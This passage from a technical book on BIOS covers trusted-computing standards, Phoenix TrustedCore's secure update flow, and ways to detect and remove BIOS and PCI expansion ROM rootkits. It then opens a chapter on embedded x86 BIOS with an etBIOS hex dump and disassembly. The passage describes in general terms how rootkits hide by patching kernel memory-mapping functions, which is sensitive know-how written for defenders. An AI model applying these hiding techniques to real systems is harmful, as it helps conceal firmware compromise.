Figure 13.3 shows the steps for reading the TCG standards documents to understand their 
implementation in PC architecture. 
 



 
Figure 13.3 Steps in comprehending TCG standards implementation in PC architecture 

 
 Figure 13.3 shows that the first document you have to read is the TCG Specification 
Architecture Overview. Then, proceed to the platform-specific design guide document, 
which in the current context is the PC platform specification document. You have to 
consult the concepts explained in the TPM main specification, parts 1–4, and the TSS 
document while reading the PC platform specification document—the dashed blue arrows 
in figure 13.3 mean "consult." You can download the TCG Specification Architecture 
Overview and TPM main specification, parts 1–4, at 
https://www.trustedcomputinggroup.org/specs/TPM. The TSS document is available for 
download at https://www.trustedcomputinggroup.org/specs/TSS, and the PC platform 
specification document is available for download at 
https://www.trustedcomputinggroup.org/specs/PCClient. 
 The PC platform specification document consists of several files; the relevant ones are 
TCG PC Client–Specific Implementation Specification for Conventional BIOS (as of the 
writing of this book, the latest version of this document is 1.20 final) and PC Client TPM 
Interface Specification FAQ. Reading these documents will give you a glimpse of the 
concepts of trusted computing and some details about its implementation in PC 
architecture. 
 Before moving forward, I'll explain a bit more about the fundamental concept of trusted 
computing that is covered by the TCG standards. The TCG Specification Architecture 
Overview defines trust as the "expectation that a device will behave in a particular manner 
for a specific purpose." The advanced features that exist in a trusted platform are protected 
capabilities, integrity measurement, and integrity reporting. The focus is on the integrity 
measurement feature because this feature relates directly to the BIOS. As per the TCG 
Specification Architecture Overview, integrity measurement is "the process of obtaining 
metrics of platform characteristics that affect the integrity (trustworthiness) of a platform; 
storing those metrics; and putting digests of those metrics in PCRs [platform configuration 
registers]." I'm not going to delve into this definition or the specifics about PCRs. 
Nonetheless, it's important to note that in the TCG standards for PC architecture, core root 
of trust measurement (CRTM) is synonymous with BIOS boot block. At this point, you have 



seen a preview of the connection between the TCG standards and its real-world 
implementation. The logical position of CRTM in the overall system is shown in figure 
13.4. 
 

 
Figure 13.4 System-wide logical architecture of a PC in TCG terminology 

 
 As you can see, figure 13.4 shows that CRTM is the BIOS boot block and that the CPU 
reset vector points to a location inside the CRTM. 
 Now, examine Phoenix TrustedCore. Its documentation is available for download at the 
following links: 
 



• The link to the Phoenix TrustedCore SP3b datasheet is 
http://www.phoenix.com/NR/rdonlyres/C672D334-DD93-4926-AC40-
EF708B75CD13/0/TrustedCore_SP3b_ds.pdf. 

• The link to the Phoenix TrustedCore white paper is 
https://forms.phoenix.com/whitepaperdownload/trustedcore_wp.aspx. Note that 
this link points to an electronic form that you have to fill in before you are allowed 
to download the white paper. The white paper is free. 

• The link to download the Phoenix TrustedCore Notebook white paper is 
http://www.phoenix.com/NR/rdonlyres/7E40E21F-15C2-4120-BB2B-
01231EB2A2E6/0/trustedcore_NB_ds.pdf. This white paper is quite old. 
Nonetheless, it's worth reading. 

 
 With regard to TCG standards, there are two requirements for the BIOS boot block that 
are fulfilled by the Phoenix TrustedCore, as follows: 
 

1. A host-platform manufacturer-approved agent or method modifies or replaces 
code or data in the boot block. 

2. The manufacturer controls the update, modification, and maintenance of the BIOS 
boot block component, and either the manufacturer or a third-party supplier may 
update, modify, or maintain the POST BIOS component. 

 
 In this case, the boot block plays a role as the CRTM, which means it is used to measure 
the integrity of other modules in the PC firmware. Having read the preceding requirements, 
go back to the prevention method theme. What does Phoenix TrustedCore BIOS offer? To 
put it simply, this new approach to BIOS implementation provides two levels of protection 
against tampering for the BIOS boot block: 
 

1. Any modification to BIOS code must meet strong authentication requirements. 
The system prevents a nonmanufacturer-approved BIOS flashing utility from 
writing into the CRTM. This is achieved by activating the hardware-based write-
lock to the boot block except in a specific case, i.e., when a manufacturer-
approved BIOS flashing utility is updating the boot block. 

2. Any modification to BIOS code must meet strong verification requirements. The 
system uses a strong cryptographic method to verify the integrity of the firmware. 
This is achieved by using a strong cryptographic algorithm, such as RSA. 

 
 Phoenix provides details of implementation for both of the preceding protection levels 
in its TrustedCore white paper, as cited here: 
 

The following details refer to a high-level implementation of a secure CRTM 
and BIOS design. 
 
Hardware and Software: 
 
• Use appropriate flash ROM parts that support lock down of the write-lock 

bit setting. 



• Employ board designs that follow recommended design guidelines (e.g., 
no hardware settings or jumpers or other unsecured backdoor methods 
for BIOS recovery). 

• Employ Secure WinFlash support on the Phoenix TrustedCore BIOS. 
• Have infrastructure for setting up key management and digital signing of 

the BIOS image (Phoenix provides a starter kit with a toolset to get 
started). 

• Use the Phoenix Secure WinFlash tool for flash updates. 
 
Additional requirements: 
 
• All backdoors (if any) for unsecured BIOS updates must be closed (no 

boot-block-based BIOS recovery unless the CRTM is locked and 
immutable). 

• Optionally, non-CRTM regions of the flash part may be selectively 
chosen to be not locked down for any OEM/ODM-specific purposes. 

• Implement a "rollback protection" policy where an authorized user (e.g., 
an administrator or supervisor) could choose (preferably only once) to 
allow or block an older version of BIOS. 

 
 Now, I move forward to show you how the preceding points are being implemented in 
the Phoenix TrustedCore BIOS products. Phoenix implemented the concept by combining 
both the BIOS binary and the BIOS flasher program into one "secure"4 BIOS flasher 
executable. It's still unclear whether there is a non-Windows version of this binary; I 
couldn't find any clues about that Phoenix documentation. 
 What follows is the logical diagram of the BIOS flashing procedure for Phoenix 
TrustedCore binaries. This logical diagram is a reproduction of the logical diagram in the 
Phoenix TrustedCore white paper. 
 

                                                 
4 The combined BIOS binary and BIOS flasher software is supposed to be secure. However, someone 
might be able to break its protection in the future. 



 
Figure 13.5 BIOS update algorithm for the Phoenix TrustedCore binary 

 
 Figure 13.5 shows that in Phoenix TrustedCore every BIOS update procedure always 
starts from the boot block code. It never starts from other—more vulnerable—machine 
states. The normal BIOS update process is carried out in the S3-resume path. The BIOS 
recovery procedure doesn't use the same path. Nonetheless, the Phoenix TrustedCore BIOS 
update process is more secure compared to most BIOS update procedures on the market. 
 Some steps in the BIOS update procedure in figure 13.5 may not be obvious yet. I'll do 
my best to explain them. The normal BIOS update path for Phoenix TrustedCore is the left 
branch in figure 13.5—the path marked "Normal POST path." In this path, the BIOS update 



procedure starts inside the operating system, i.e., Windows. It's accomplished by running 
the Phoenix Secure WinFlash application. Figure 13.6 shows the screenshot of the 
application. 
 

 
Figure 13.6 Phoenix Secure WinFlash 

 
 Figure 13.6 is taken from a BIOS update utility for a Compaq Presario V2718WM 
notebook. 
 The BIOS binary to be flashed to the BIOS chip is buffered in RAM while WinFlash is 
running. Then, the BIOS update procedure moves to the next step, initializing the 
credentials necessary to verify the integrity of BIOS binary during BIOS update. Then, 
WinFlash "restarts" the machine. This restart is not an ordinary restart that you are used to 
seeing, because the code execution in the machine will be redirected as if it is waking from 
the S3 ACPI sleep state. This process is called S3-resume in figure 13.5. The details of the 
ACPI S3 sleep state are explained in version 3.0 of the ACPI specification. The relevant 
subsections from the specification are cited here for your convenience. 
 

7.3.4.4 System \_S3 State 
 
The S3 state is logically lower than the S2 state and is assumed to conserve 
more power. The behavior of this state is defined as follows: 
 
• The processors are not executing instructions. The processor-complex 

context is not maintained. 
• Dynamic RAM context is maintained. 
• Power resources are in a state compatible with the system S3 state. All 

power resources that supply a system-level reference of S0, S1, or S2 
are in the OFF state. 

• Devices states are compatible with the current power resource states. 
Only devices that solely reference power resources that are in the ON 
state for a given device state can be in that device state. In all other 
cases, the device is in the D3 (OFF) state. 

• Devices that are enabled to wake the system and that can do so from 
their current device state can initiate a hardware event that transitions 
the system state to S0. This transition causes the processor to begin 
execution at its boot location. The BIOS performs initialization of core 



functions as necessary to exit an S3 state and passes control to the 
firmware resume vector.... 

 
From the software viewpoint, this state is functionally the same as the S2 
state. The operational difference can be that some power resources that 
could be left ON to be in the S2 state might not be available to the S3 state. 
As such, additional devices may need to be in a logically lower D0, D1, D2, 
or D3 state for S3 than S2. Similarly, some device wake events can function 
in S2 but not S3. 
 
Because the processor context can be lost while in the S3 state, the 
transition to the S3 state requires that the operating software flush all dirty 
cache to DRAM. 
 
... 
 
15.1.3 S3 Sleeping State 
 
The S3 state is defined as a low wake-latency sleep state. From the software 
viewpoint, this state is functionally the same as the S2 state. The 
operational difference is that some power resources that may have been left 
on in the S2 state may not be available to the S3 state. As such, some 
devices may be in a lower power state when the system is in S3 state than 
when the system is in the S2 state. Similarly, some device wake events can 
function in S2 but not S3. An example of an S3 sleeping state 
implementation follows. 
 
15.1.3.1 Example: S3 Sleeping State Implementation 
 
When the SLP_TYPx register(s) are programmed to the S3 value (found in 
the \_S3 object) and the SLP_EN bit is set, the hardware will implement an 
S3 sleeping state transition by doing the following: 
 
1. Placing the memory into a low-power auto-refresh or self-refresh state. 
2. Devices that are maintaining memory isolating themselves from other 
devices in the system. 
3. Removing power from the system. At this point, only devices supporting 
memory are powered (possibly partially powered). The only clock running in 
the system is the RTC clock. 
 
In this case, the wake event repowers the system and resets most devices 
(depending on the implementation). 
 
Execution control starts from the CPU's boot vector. The BIOS is required to 
 
1. Program the initial boot configuration of the CPU (such as the MSR and 
MTRR registers). 
2. Initialize the cache controller to its initial boot size and configuration. 
3. Enable the memory controller to accept memory accesses. 
4. Jump to the waking vector. 
 
Notice that if the configuration of cache memory controller is lost while the 
system is sleeping, the BIOS is required to reconfigure it to either the 
presleeping state or the initial boot state configuration. The BIOS can store 



the configuration of the cache memory controller into the reserved memory 
space, where it can then retrieve the values after waking. Operating 
system–directed configuration and power management (OSPM) will call the 
_PTS method once per session (prior to sleeping). 
 
The BIOS is also responsible for restoring the memory controller's 
configuration. If this configuration data is destroyed during the S3 sleeping 
state, then the BIOS needs to store the presleeping state or initial boot state 
configuration in a nonvolatile memory area (as with RTC CMOS RAM) to 
enable it to restore the values during the waking process. 
 
When OSPM re-enumerates buses coming out of the S3 sleeping state, it will 
discover any devices that have been inserted or removed and configure 
devices as they are turned on. 

 
 The preceding excerpt states that there are some ACPI registers called SLP_TYPx 
registers—x in SLP_TYPx is a one-digit number. These registers play an important role in 
the power management of the system. As such, manipulating them will change the power 
state of the machine, such as entering sleep state. Therefore, you can conclude that 
WinFlash manipulates the registers before restarting the machine to force an S3-resume just 
after the machine is restarted. 
 The next step in the normal BIOS update procedure in figure 13.5 is to authenticate the 
BIOS binary to be flashed. This authentication process uses the credentials that have been 
buffered to RAM by WinFlash when the machine is still running in Windows. Note that in 
the S3 sleep state, the contents of RAM from the previous session are preserved. That's why 
the credentials are available in RAM for the authentication process, which runs in the BIOS 
code for S3-resume context. In the current step, the machine executes the BIOS update 
routine in the S3-resume context. Therefore, it's possible the BIOS is not executing a 
routine in its own binary but is branching to a certain BIOS flashing routine in RAM, which 
is buffered to RAM by WinFlash before the machine restarts. I'm not sure about the details 
because there is no official documentation about this process. You can reverse engineer the 
WinFlash executable file if you are curious. You can download the WinFlash utility for the 
Compaq Presario V2718WM notebook at 
http://h10025.www1.hp.com/ewfrf/wc/softwareDownloadIndex?softwareitem=ob-43515-
1&lc=en&cc=us&dlc=en&tool=softwareCategory&product=3193135&query=Presario%20
v2718&os=228. The executable file in the preceding link will be installed to C:\Program 
Files\SP33749. 
 Now, proceed to the next step: the check for the BIOS version rolling back. In this step, 
the BIOS update routine checks if the requested task is a BIOS version rollback task. If it 
is, then the BIOS update routine will consult the system policy about whether to allow 
rollback or not. If it's not allowed, no BIOS rollback will happen. Otherwise, the BIOS 
update routine will replace the current BIOS with an older BIOS version. On the other 
hand, if the requested task is not a BIOS version rollback, the BIOS update routine will 
proceed to flash the new BIOS binary to the BIOS chip. 
 The next step is to write-protect the BIOS chip so that it won't be tampered with. The 
last step is to continue the S3-resume process until the boot process completed. 



 As for the BIOS recovery path, it's not a secure way to update the contents of the BIOS. 
In this case, the system will boot from the boot block and carry out the BIOS update routine 
to update the BIOS binary. However, from figure 13.5, it's clear that the CRTM (boot 
block) is not tampered with by this procedure. Thus, the integrity of the BIOS cannot be 
easily compromised because an attacker is only able to implant his code in a non–boot 
block area of the BIOS and that can be easily detected by an integrity check subroutine  in 
the boot block. 
 In any case, you have to be aware that the BIOS update routine in Phoenix Secure 
WinFlash is running in the S3-resume context, which is not an ordinary processor execution 
context. This is a safe way to modify the BIOS chip context because a remote attacker 
won't be able to do it easily. In the S3-resume context, the machine is not running inside an 
operating system context, which implies that there is no interconnection with the outside 
world. 
 As a side note, you might be asking about the preliminary result of the Phoenix Secure 
WinFlash application. I used IDA Pro 4.9 to do a preliminary analysis, and the result shows 
that it's compiled using Borland compiler. I haven't done any further research yet. 
 In the TCG standards document, the PCI expansion ROM is protected using one of the 
PCRs to verify the integrity of the option ROM. However, the PCR only exists in systems 
that implement the TPM chip in the motherboard. Therefore, this method of protecting the 
PCI expansion ROM cannot be used in most desktops and server systems on the market. 
 In closing this subsection, I would like to make one recommendation: read the TCG PC 
Client Specific Implementation Specification for Conventional BIOS document. You might 
find some concepts within this document that you can implement to protect the BIOS 
against various threats. 
 
 
13.2. Recognizing Compromised Systems 
 
 The previous section explains the methods of preventing BIOS rootkits from being 
installed in the system. In this section, I talk about methods to detect whether a system has 
been compromised by a BIOS rootkit. It's not going to be a detailed explanation; the focus 
is in the detection principles. 
 
 
13.2.1. Recognizing a Compromised Motherboard BIOS 
 
 The easiest way to detect the presence of a BIOS rootkit in a machine is to compare the 
installed BIOS with the same BIOS from the manufacturer's website. "The same BIOS" in 
this context means the BIOS file with exactly the same revision as the one installed in the 
system that you are investigating. The BIOS ID string can help you do that. Typically, the 
BIOS ID string is formatted as follows: 
 
BIOS_release_date-Motherboard_chipset_id-IO_controller_chip_id-
BIOS_release_code-BIOS_revision 
 



 The BIOS_revision in the BIOS ID string format indicates the revision of the BIOS 
binary. It is sometimes a combination of a number and a character, or it can be just 
numbers. This depends on the manufacturer. In many cases, information about the BIOS 
release date is enough to download the same BIOS from the manufacturer website. If you 
want to ensure you have downloaded exactly the same BIOS, cross-check the BIOS ID 
string. After you have obtained the BIOS from the manufacturer, you can use a hex editor 
or another utility to compare the bytes in both BIOSs to check the integrity of the BIOS in 
the system that you are investigating. There is a problem with this approach, however: if 
the binary in the manufacturer's website has been infected by the same rootkit, you won't 
know if the BIOS you are investigating is infected. 
 You learned about BIOS code injection in section 6.2. The method explained in that 
section is POST jump table code injection. To fight against it, you can build a BIOS 
unpacker that scans the POST jump table in the system BIOS. It's not too hard to carry out 
this task for Award BIOS and most BIOSs on the market because the compression 
algorithm that they use is based on variants of Lempel-Ziv with a Huffman coding as a 
back-end. The preliminary unpacker development can be accelerated by using IDA Pro 
scripts or a plugin or by using IDA Python. The basic principle of this method is to scan the 
POST jump table for suspicious entries. You may want to scan the entries for a particular 
suspicious signature or signatures. 
 Another method to detect the presence of a BIOS rootkit is to create a digital signature 
for every legitimate BIOS binary and then compare the digital signature of a suspected 
BIOS binary with the legitimate BIOS binary. This method only works if you have taken 
the preventive step of creating the digital signature for the BIOS in advance—before the 
suspected security breach happened. 
 If you have located some types of BIOS rootkits, you can use an antivirus-like 
approach, i.e., create a rootkit signature to detect the presence of a rootkit in suspected 
BIOS binaries. This method works if you have encountered many BIOS rootkits. 
Otherwise, you have to guess what the BIOS rootkit might look like. 
 There is also a possibility that the BIOS rootkit is a combo rootkit, i.e., it consists of a 
kernel-mode driver rootkit (within the operating system) and a rootkit embedded in the 
BIOS. The typical logical architecture of such a rootkit is shown in figure 13.7. 
 

 
Figure 13.7 Combo BIOS rootkit logical architecture 



 
 Figure 13.7 shows that such a combo rootkit uses the kernel-mode driver rootkit to hide 
the presence of the BIOS rootkit from rootkit detectors that scan the BIOS chip address 
range. In Windows, the typical method of hiding the BIOS rootkit is to carry out detour 
patching to certain memory management kernel APIs, such as MmMapIoSpace. The kernel-
mode device driver of the combo rootkit patches the original MmMapIoSpace and returns a 
bogus result to the caller. The kernel-mode driver can hide the original BIOS binary in a 
"bad sector" of the HDD and return that data upon request to read the contents of the BIOS 
address range. To fight against a combo rootkit like this, you must use available methods to 
deal with kernel-mode rootkits. One of such approach is to scan for an altered 
MmMapIoSpace kernel function. The method of carrying out this task is outside the scope of 
this book. 
 In the previous section, you learned that WBEM interfaces could become the entry 
point to launch an organization-wide BIOS rootkit infection. Thus, an unusual network 
traffic overload through this interface is a hint that there could be an attack that relates to a 
firmware rootkit infection. 
 
 
13.2.2. Recognizing a Compromised PCI Expansion ROM 
 
 Detecting a PCI expansion ROM rootkit is relatively easier than detecting a 
motherboard BIOS rootkit because of the simplicity of the PCI expansion ROM structure. 
There are several indications that a PCI expansion ROM may have been infected by a 
rootkit: 
 

• There is virtually no free space in the PCI expansion ROM chip. In most cases, an 
unaltered PCI expansion ROM binary doesn't use all of the PCI expansion ROM 
chip; there is always a little empty space left in the chip. Therefore, you should be 
wary if a PCI expansion ROM chip is full of code. This may seem illogical. 
Nevertheless, it's true. 

• It's easy to detour the PCI expansion ROM entry point. Therefore, you should be 
suspicious when the PCI expansion ROM entry point jumps into weird addresses, 
such as near the end of the PCI expansion ROM chip. The same is true if you find 
that the PCI expansion ROM entry point jumps into a suspicious routine that deals 
with devices that don't have any logical connection with the PCI expansion card 
where the ROM resides: for example, if a VGA card PCI expansion ROM calls a 
routine to interact with the HDD. 

• You have to be suspicious when you find a kernel-mode driver rootkit in the 
operating system that alters kernel functions that deal with memory-mapped I/O 
devices, for example, a rootkit that alters the MmMapIoSpace kernel function in 
Windows. As you learned in the previous chapter, some PCI expansion cards map 
their expansion ROM chip to the memory-mapped I/O address space. When a 
rootkit is installed on such a card, the attacker must have been altering any access 
to the memory address range of the PCI expansion ROM chip to return a bogus 
result to conceal the presence of the rootkit. 



• You should watch for any difference in the ROM binary in the system that you're 
investigating and the ROM binary from the PCI expansion card vendor when the 
ROM binary is the same version. 

 
 Besides the preceding detection principles, if you have taken the preventive step of 
generating hash value for the original PCI expansion ROM binary, you can compare that 
hash value with the hash value generated from the current PCI expansion ROM binary. If 
the values differ, then some modification must have been made to the ROM binary. It could 
be a rootkit infection. 
 
 
13.3. Healing Compromised Systems 
 
 Healing a system infected by a BIOS rootkit is a straightforward process. All you have 
to do is to replace the infected BIOS binary with a clean or uninfected BIOS binary. As you 
learned in the previous sections, few of today's systems have implemented TCG standards. 
Therefore, the BIOS update process is easier, because you always have the ability to flash 
the BIOS from real-mode DOS. The details of the process are as follows: 
 

• If the BIOS rootkit infection took place in the motherboard BIOS, then flash a 
clean BIOS binary to the infected motherboard BIOS. It's strongly recommended 
that you carry out this process from real-mode DOS, because if the BIOS rootkit is 
a combo5 rootkit, you'll never know if the BIOS flashing procedure has taken 
place or if you have been fooled by the kernel-mode driver rootkit of the combo 
rootkit. 

• If the BIOS rootkit infection took place in the PCI expansion ROM, then flash a 
clean ROM binary to the infected PCI expansion card. Most PCI expansion ROM 
flashing utilities run in DOS, if yours is not doing so, then try to find a DOS 
version of the PCI expansion ROM flasher. As in the previous point, using a PCI 
expansion ROM flasher in Windows or another sophisticated operating system 
such as Linux is risky because you can be fooled by the kernel-mode driver rootkit 
of a combo rootkit. 

• In the case of an incomplete or failed BIOS rootkit or PCI expansion ROM rootkit 
infection, the system might not be able to boot properly. This is not a problem if 
the BIOS ROM chip or the PCI expansion ROM chip is socketed, because you can 
take the chip out and flash it with a clean binary somewhere else. However, if the 
BIOS ROM chip or the PCI expansion ROM chip is soldered to the motherboard 
or PCI expansion card, you can't do that. In this case, you can use the trick from 
section 7.3.6 to force BIOS or PCI expansion ROM reflashing. Section 7.3.6 
explained the details for the PCI expansion ROM. Thus, I only explain the details 
for the motherboard BIOS here. The basic principle is still the same, i.e., to 
intentionally generate a checksum error. However, in this case, you have to 

                                                 
5 The combo rootkit is explained in section 13.2.1. 



generate a system BIOS checksum error so that the boot block will enter BIOS 
recovery mode. The steps are as follows: 

 
1. Provide a BIOS recovery diskette in advance. Place a clean uninfected BIOS 

binary in this BIOS recovery diskette. 
2. Short circuit the two most significant address pins in the motherboard BIOS chip 

that are used to address the system BIOS address range briefly during power-up. 
You have to be careful when doing this, because the motherboard can be easily 
damaged. 

3. Once you have entered the boot block BIOS recovery mode, the BIOS flashing 
process will execute automatically—as long as you have inserted the recovery 
diskette. 

 
Note that some soldered motherboard BIOS chips cannot be handled as I mention 
in the preceding steps because the needed address pins cannot be reached easily. In 
that case, you can't resurrect the motherboard. 

 
 The last issue to consider is cleaning the system from the infection of a kernel-mode 
driver rootkit if the BIOS rootkit is a combo rootkit. I'm not going to explain about it here 
because there are many books and articles on the subject. This type of rootkit is considered 
an ordinary rootkit. 
 My explanation about BIOS defense techniques ends here. It's up to you to explore 
further after you have grasped the basics in this chapter. 
 



Part V Other Applications of BIOS 
Technology 
 
 

Chapter 14 Embedded x86 BIOS 
Technology 
 
 
PREVIEW 
 
 This chapter delves into the use of x86 BIOS technology outside of its traditional 
implementation—desktop PC and servers. It presents a glimpse of the implementation of 
x86 BIOS technology in network appliances and consumer electronic devices. This theme 
is interesting because x86 architecture will soon penetrate almost every sector of our 
lives—not as PC desktops or servers but as embedded systems. Advanced Micro Devices 
(AMD) has been realizing its vision of x86 everywhere since 2005. Moreover, as our lives 
increasingly depend on this architecture, the security of its BIOS becomes increasingly 
important. Therefore, this chapter presents an overview about that issue as well. 
 
 
14.1. Embedded x86 BIOS Architecture 
 
 The embedded system theme sometimes scares programmers who haven't venture into 
this class of computing devices. Programmers accustomed to desktop and server 
development often view programming for embedded devices as an exotic task. However, as 
you will soon see, embedded devices based on x86 architecture share a fair number of 
similarities with their desktop or server counterparts. Thus, you have nothing to worry 
about when it comes to programming for embedded systems. 
 Let me start with the boot process of embedded x86 systems. Embedded x86 systems 
can be classified into two types based on their boot process, i.e., those that boot into an 
operating system stored in a secondary storage device1 and those that boot into an operating 
system stored as part of the BIOS. Figures 14.1 and 14.2 show the typical boot process for 
each type. 
 

                                                 
1 A secondary storage device is a mass storage device such as an HDD or a CompactFlash drive. 



 
Figure 14.1 Embedded x86 system boot process when the operating system is part of the BIOS 

binary 

 

 



Figure 14.2 Embedded x86 system boot process when the operating system is stored in a 
secondary storage device 

 
 Figure 14.1 shows that the operating system will be executed as part of the POST when 
the operating system is stored in the BIOS binary. Subsection 14.2.1 presents a sample 
implementation of this concept. In most cases, the operating system embedded in the BIOS 
binary is compressed to provide more space for code inside the operating system. 
 Figure 14.2 shows a more conservative embedded x86 boot concept; the operating 
system is loaded from a secondary storage device such as a CompactFlash drive, HDD, or 
other mass storage device, much like desktop PCs or servers. Note that figure 14.2 doesn't 
clearly show the boot process for the embedded x86 system as a customized boot process. 
You have to keep in mind that although the embedded x86 boot process in figure 14.2 
works like such processes for ordinary PCs or servers, it's not the same because these 
embedded x86 systems mostly use a customized BIOS to suit their needs. For example, an 
embedded x86 system used as a car navigation system would need to be able to boot as fast 
as possible, so the BIOS for this system must be customized to boot as fast as it can. The 
BIOS must remove unnecessary test procedures during POST and hard-code its options as 
much as possible. 
 Some embedded x86 BIOS systems are hybrids between an ordinary desktop BIOS and 
the BIOS shown in figure 14.1. The user of the system can set the BIOS option to boot the 
operating system embedded in the BIOS or to boot like a typical desktop PC. In the latter 
case, it can boot to the PC operating system or to another embedded x86 operating system. 
Note that even if the BIOS is a hybrid BIOS you cannot boot to both operating systems 
simultaneously in one machine. The BIOS option provides only one operating system to 
boot into on one occasion. 
 The typical system-wide logical architecture of an embedded x86 system with its 
operating system loaded from secondary storage is shown in figure 14.3. A system with the 
operating system integrated into the BIOS is shown in figure 14.4. 
 



 
Figure 14.3 Typical embedded x86 architecture without BIOS–operating system integration 

 

 
Figure 14.4 Typical embedded x86 architecture with BIOS–operating system integration 



 
 Even if it's not shown in clearly in figures 14.3 and 14.4, you have to be aware that the 
BIOSs in both systems are highly customized for their target application. It's in the nature 
of an embedded system to be optimized according to its target application. It's important to 
meet that requirement, because it can reduce the cost and improve the overall performance 
of the system. The dedicated software application in figures 14.3 and 14.4 refers to the 
software application that runs on top of the operating system and serves the user of the 
embedded x86 system. At this point, the big picture of embedded x86 systems, particularly 
their BIOS, should be clear. 
 
 
14.2. Embedded x86 BIOS Implementation Samples 
 
 This section talks about implementations of BIOS in x86 embedded systems. It delves 
into three categories of embedded x86 systems, i.e., the TV set-top box, the network 
appliance, and the kiosk. I explain the TV set-top box in detail; the other systems are 
explained in detail. 
 
 
14.2.1. TV Set-Top Box 
 
 Set-top box (STB) is a term used to describe a device that connects to an external signal 
source and turns the signal into content to be displayed on a screen; in most cases, the 
screen is that of a television. The external signal source can be coaxial cable (cable 
television), Ethernet, a satellite dish, a telephone line (including digital subscriber line, or 
DSL), or an ultra high or very high frequency (UHF or VHF) antenna. Nonetheless, this 
definition is not rigid. In this section, I use the term to refer to a PC-based device. Even if 
the system cannot connect to one of the external signal sources mandated by the preceding 
definition, as long as it can play multimedia content without booting to a full-fledge 
desktop or server operating system2 I regard it as an STB. The ability to play multimedia 
content in this context must include video playback capability. 
 Now, I want to delve into a unique motherboard used as a building block to create a 
multimedia PC, also known as a PC-based STB. The motherboard is Acorp 4865GQET. 
This motherboard uses the Intel 865G chipset. It's interesting because its BIOS has a unique 
feature: it can play DVDs and browse the Internet without booting to a full-fledge desktop 
or server operating system. It does so by booting to a small operating system named 
etBIOS, which is embedded in its BIOS. However, this behavior depends on the BIOS 
setting. The motherboard can boot an ordinary desktop operating system as well if it's set to 
boot to into the desktop operating system. The Acorp 4865GQET BIOS is based on Award 
BIOS version 6.00PG. Moreover, one component, the etBIOS module, is "unusual." It's a 

                                                 
2 An operating system used in a desktop or server platform, such as the desktop version of Windows, 
Linux, or FreeBSD. 



small-footprint operating system for embedded x86 systems developed by Elegent 
Technologies.3 The boot process of this motherboard is illustrated in figure 14.5. 
 

 
Figure 14.5 Boot process in systems with etBIOS 

 
 Figure 14.5 shows that the boot process is much like that for an ordinary BIOS because 
the boot setting is stored in the CMOS chip. The CMOS setting determines whether to boot 
to a desktop or server operating system or to etBIOS. EtBIOS has the capability to play 
audio CDs and DVDs out of the box. These features are provided by etDVD and 
etBrowser, which exist as part of the etBIOS module by default. Sample screenshots of 
these features are shown in figures 14.6 and 14.7, respectively. 
 

                                                 
3 The Elegent Technologies website is at http://www.elegent.com/index.htm. 



 
Figure 14.6 EtBIOS DVD playback screenshot (courtesy of Elegent Technologies) 

 

 
Figure 14.7 EtBIOS audio CD playback screenshot (courtesy of Elegent Technologies) 

 
 Besides the capability to play audio CDs and DVDs, etBIOS has the ability to browse 
the Web, as shown in figure 14.8. 
 



 
Figure 14.8 EtBIOS browser screenshot (courtesy of Elegent Technologies) 

 
 Some systems using etBIOS are also equipped with an etBIOS-compatible TV tuner to 
enable TV content playback. 
 Now, you likely have grasped the basic idea of etBIOS. It's time to explore the technical 
details. I start with the Acorp 4865GQET BIOS binary. I use BIOS version 1.4 for this 
motherboard; the date of the BIOS is August 19, 2004. This BIOS binary is Award BIOS 
6.00PG with etBIOS as one of its components. The size of the binary file is 512 KB. The 
layout of the components is shown in figure 14.9. 
 



 
Figure 14.9 Acorp 4865GQET BIOS component layout 

 
 Figure 14.9 shows the location of the "compressed" etBIOS binary inside the Acorp 
4865GQET BIOS binary. I use the word compressed to refer to the compression state of 
this component because the component is not exactly compressed from Award BIOS LZH 
compression perspective. The header of this component shows an -lh0- signature, which 
in LZH compression terms means a plain copy of the original binary file without any 
compression. However, the LZH header is appended at the start of the binary file. Hex 
dump 14.1 shows a snippet of the BIOS binary, focusing on the beginning of the etBIOS 
binary. 
 

Hex dump 14.1 "Compressed" etBIOS Binary Header 

Address          Hex values                          ASCII 
0002CF10 2A95 4AA5 52A9 55FF D000 24F5 2D6C 6830 *.J.R.U...$.-lh0 



0002CF20 2D01 0004 0000 0004 0000 0045 4020 010B -..........E@ .. 
0002CF30 3034 3036 3033 2E64 6174 002A 2000 00FF 040603.dat.* ... 
0002CF40 EB3E 4554 73FC 0300 0000 0000 0000 1000 .>ETs........... 
0002CF50 0000 0009 8680 7225 EC10 3981 BEC5 FC06 ......r%..9..... 
0002CF60 0200 0002 0000 0000 8888 8888 8680 C524 ...............$ 
 
 The address shown in hex dump 14.1 is relative to the start of the overall BIOS binary 
file. You can clearly see the -lh0- signature (it is highlighted in yellow) in hex dump 14.1. 
 The next step is to reverse engineer the Acorp 4865GQET BIOS binary. As with other 
Award BIOS 6.00PG binaries, start with the boot block. Then, continue to the system 
BIOS. In the previous steps, the reverse engineering result is just like that of an ordinary 
Award BIOS 6.00PG binary. Nonetheless, there are differences in the execution routine of 
the POST jump table. Listing 14.1 shows the relevant disassembly result of the system 
BIOS in the Acorp 4865GQET BIOS binary, along with the disassembly of etBIOS that has 
been copied to RAM. 
 

Listing 14.1 Acorp 4865GQET BIOS POST Routine Disassembly 

E_seg:90C0   mov   cx, 1 
E_seg:90C3   mov   di, offset POST_jmp_tbl_start 
E_seg:90C6   call  exec_POST 
E_seg:90C9   jmp   halt 
E_seg:90CC ; --------------- S U B R O U T I N E ------------------------ 
E_seg:90CC exec_POST proc near     ; ... 
E_seg:90CC   mov   al, cl 
E_seg:90CE   out   80h, al         ; Manufacturer's diagnostic checkpoint 
E_seg:90D0   push  0F000h 
E_seg:90D3   pop   fs 
E_seg:90D5   assume fs:F_seg 
E_seg:90D5   mov   ax, cs:[di] 
E_seg:90D8   inc   di 
E_seg:90D9   inc   di 
E_seg:90DA   or    ax, ax 
E_seg:90DC   jz    short exit 
E_seg:90DE   push  di 
E_seg:90DF   push  cx 
E_seg:90E0   call  exec_ET_BIOS 
E_seg:90E3   call  ax 
E_seg:90E5   pop   cx 
E_seg:90E6   pop   di 
E_seg:90E7   inc   cx 
E_seg:90E8   jmp   short exec_POST 
E_seg:90EA ; ------------------------------------------------------------ 
E_seg:90EA exit:                   ; ... 
E_seg:90EA   retn 
E_seg:90EA exec_POST endp 
E_seg:90EB POST_jmp_tbl_start dw 1C5Fh ; ... 
E_seg:90EB                         ; award_ext ROM decompression 
E_seg:90ED   dw 1C72h              ; _en_code.bin decompression 



.......... 
E_seg:99C0 exec_ET_BIOS proc near  ; ... 
E_seg:99C0   cmp   cx, 8Ah 
